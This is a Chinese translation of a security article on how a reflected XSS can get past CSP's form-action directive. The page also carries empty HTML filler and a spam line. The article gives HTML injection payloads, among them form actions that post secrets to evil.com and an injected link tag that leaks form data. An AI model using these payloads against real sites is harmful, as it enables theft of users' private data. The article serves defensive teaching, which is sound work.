<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/14686

                    翻譯: SecurityToolkit

                    0x01 簡單介紹


                    CSP(Content-Security-Policy)是為了緩解XSS而存在的一種策略, 開發者可以設置一些規則來限制頁面可以加載的內容.那文本中所說的form-action又是干啥的呢?用他可以限制form標簽"action"屬性的指向頁面, 這樣可以防止攻擊者通過XSS修改表單的"action"屬性,偷取用戶的一些隱私信息.

                    0x02 實例分析


                    上面講的太抽象了, 如果不想看的話可以直接跳過....具體一點, 現在使用的是chrome瀏覽器, 假設下面這個secret.html是可能被XSS攻擊的

                    #!html
                    //XSS在這里, victim.com/secret.html?xss=xss
                    <form method="POST" id='subscribe' action='oo.html'>
                      <input name='secret' value='xiao_mi_mi'/>         //小秘密
                    

                    如果這個站點沒有CSP, 攻擊者可以直接通過XSS修改

                    #!html
                    <form method="POST" action='http://evil.com/wo_de_mi_mi.php'>   //我的秘密
                    

                    當用戶傻傻地進行"正常'操作時,小秘密已經悄然變成攻擊者的秘密了.然后,有一個管理員試圖用CSP防止這個問題, 他使用白名單策略限制外部JS的加載并且不允許內聯腳本, 好像安全性高了一點.

                    攻擊者想了下, 把頁面改成下面這個樣子

                    #!html
                    <div><form action='http://evil.com/wo_de_mi_mi.php'></div>
                    <form method='POST' id='subscribe' action='oo.html'>
                    

                    在原本的form之前又加了一個form標簽, 這個新的form標簽沒有閉合,并且直接碰到了老form標簽, 這個時候會發生什么呢?

                    Screen Shot 2016-04-10 at 19.25.02

                    老form標簽就這樣消失了! 所以攻擊者再次把用戶的小秘密發送到了自己的服務器上, 而且這時本來應該是POST的secret因為老form標簽的消失現在變成了GET發送, 請求變成了下面這樣.

                    Screen Shot 2016-04-10 at 19.25.02

                    這下管理員郁悶了, 最后索性用CSP加上了form-action來白名單限定form標簽的action指向, 那么這樣是否還會出現問題呢?

                    一起來回顧一下, 現在有一個不能執行JS的反射型XSS和一個只能往白名單域名(當然沒有攻擊者域名...)指向的form標簽.

                    原secret.html

                    #!html
                    // XSS位置, victim.com/secret.html?xss=xss
                    <form method="POST" id='subscribe' action='oo.html'>
                      <input name='secret' value='xiao_mi_mi'/>
                    

                    最后攻擊者的改過的頁面如下

                    #!html
                    <input value='ByPass CSP' type='submit' form='subscribe' formaction='' formmethod='GET' />
                    <input type='hidden' name='xss' form='subscribe' value="<link rel='subresource' >
                    // XSS, victim.com/secret.html?xss=xss
                    <form method="POST" id='subscribe' action='oo.html'>
                      <input type='hidden' name='secret' value='xiao_mi_mi'/>
                    </form>
                    

                    這里有幾處tricky的地方, 整個代碼的步驟如下

                    1. input標簽的form/formmethod/formaction將老form POST到oo.html的secret變成GET發送到secret.html即當前頁面.

                    2. 跳轉后仍處于secret.html因此該頁面的XSS還可以被二次利用注入惡意標簽, 這里又利用第二個input標簽增加GET請求的xss參數, 所以跳轉之后的URL變為

                      #!html
                      http://victim.com/secret.html?secret=xiao_mi_mi&xss=<link rel='subresource' >
                      
                    3. 此時secret.html再次觸發XSS, 被攻擊者加入下面標簽

                      #!html
                      <link rel='subresource' >
                      
                    4. Screen Shot 2016-04-10 at 20.12.36

                    正是最后這個link標簽泄露了本該POST發送的secret, 攻擊者通過利用一個反射型XSS將CSP的form-action繞過.

                    0x03 最后


                    CSP能夠從某種程度上限制XSS, 對網站的防護是很有益義的. 不過相比國外經常能夠看到相關的討論,國內CSP的推進和熱度卻是比較不盡人意的, 同時關于CSP也有很多有意思的安全點, 特此翻譯出來以供大家學習和參考.

                    原文鏈接: https://labs.detectify.com/2016/04/04/csp-bypassing-form-action-with-reflected-xss/

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频